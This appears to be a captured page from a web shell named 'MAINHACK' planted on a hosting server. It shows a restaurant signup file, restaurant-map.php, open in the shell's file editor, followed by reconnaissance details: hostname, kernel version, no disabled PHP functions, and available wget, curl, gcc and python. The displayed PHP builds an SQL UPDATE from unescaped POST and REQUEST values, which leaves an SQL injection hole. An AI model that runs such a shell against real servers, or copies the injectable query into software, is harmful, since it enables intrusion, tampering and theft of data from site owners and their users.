[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: restaurant-map.php
<?php include('header.php'); include('map/token.php'); $uid=$_REQUEST['uid']; ?> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://apis.mappls.com/advancedmaps/api/<?=$token?>/map_sdk?layer=vector&v=3.0&callback=initMap1"></script> <script src="https://apis.mappls.com/advancedmaps/api/<?=$token?>/map_sdk_plugins?v=3.0"></script> <style> .foot-bg-index{ display:none; } #map {width: 100%; height: 300px; margin: 0 0 30px; padding: 0; background: #f3e3c8; border: 5px solid #fff; box-shadow: 0px 15px 14px -15px rgba(35, 35, 35, 0.29); } </style> <!-- Sign Up - Resturant-sing 02 --> <div class="sing-up resturant-sing" style="background: kground-size: cover;"> <div class="container"> <div class="sing-up-text" style=""> <div class="sing-up-text-bg"> <h3> <span>Map </span>Location</h3> <h5>Already have an account? <a href="home-cooks-login.php" ><b>Log In</b></a></h5> </div> <?php ?> <div class="sing-up-form" style="width: 100%;"> <form method="post" id="form" method="post" enctype="multipart/form-data" > <div class="log-input" id="b_name"> <span>Full Address <b>*</b></span> <label><i class="fa fa-home" aria-hidden="true"></i></label> <textarea id="address" name="address" placeholder="Full Address ( State, City, Pin Code, etc )"></textarea> </div> <div id="map"></div> <script> /*Map Initialization*/ var map,picker; function initMap1(){ map = new mappls.Map('map', { center: [22.5726, 88.3639], zoom: 5 }); map.addListener('load',function(){ /*Place Picker plugin initialization*/ var options = { map: map, header:true, closeBtn:true, }; mappls.placePicker(options,callback); function callback(data) { picker=data; console.log(picker); } }); map.addListener('dragend', function(e){ var res = picker.getLocation(); var j=JSON.stringify(res); // alert(j); console.log(res); data_show(j); }); } function data_show(value){ $.ajax({ type:"POST", data:{data:value}, url:"map/getdata.php", success: function(html){ //alert(html); $('#demo').html(html).show(); get_sub_category_name(); // $('#data').val(result.pincode); // $('#data2').val(result.state); // console.log(html); } }); } </script> <div id="map_hide"></div> <p id="demo"></p> <div class="log-input submitbox" id="b_name"> <input type="submit" class="" name="sub" id="btn" value="submit"> </div> <a href="restaurant-document.php" class="next">Next</a> </form> <?php if(isset($_POST['sub'])){ $sq="update food_maker set apartment_address='".$_POST['address']."',state='".$_POST['state1']."',district='".$_POST['district1']."',city='".$_POST['city1']."',pincode='".$_POST['pincode1']."',locality='".$_POST['locality1']."',address='".$_POST['formatted_address']."',latitude='".$_POST['lat']."',longitude='".$_POST['lng']."' where maker_id='".$_REQUEST['uid']."'"; $s1=$con->prepare($sq); $r=$s1->execute(); if($r){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "Your address is added successfully. Please continue to add documents.", type: "success" }, function() { window.location = "restaurant-document.php?uid='.base64_encode($uid).'"; }); }, 1000); </script>'; } } ?> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619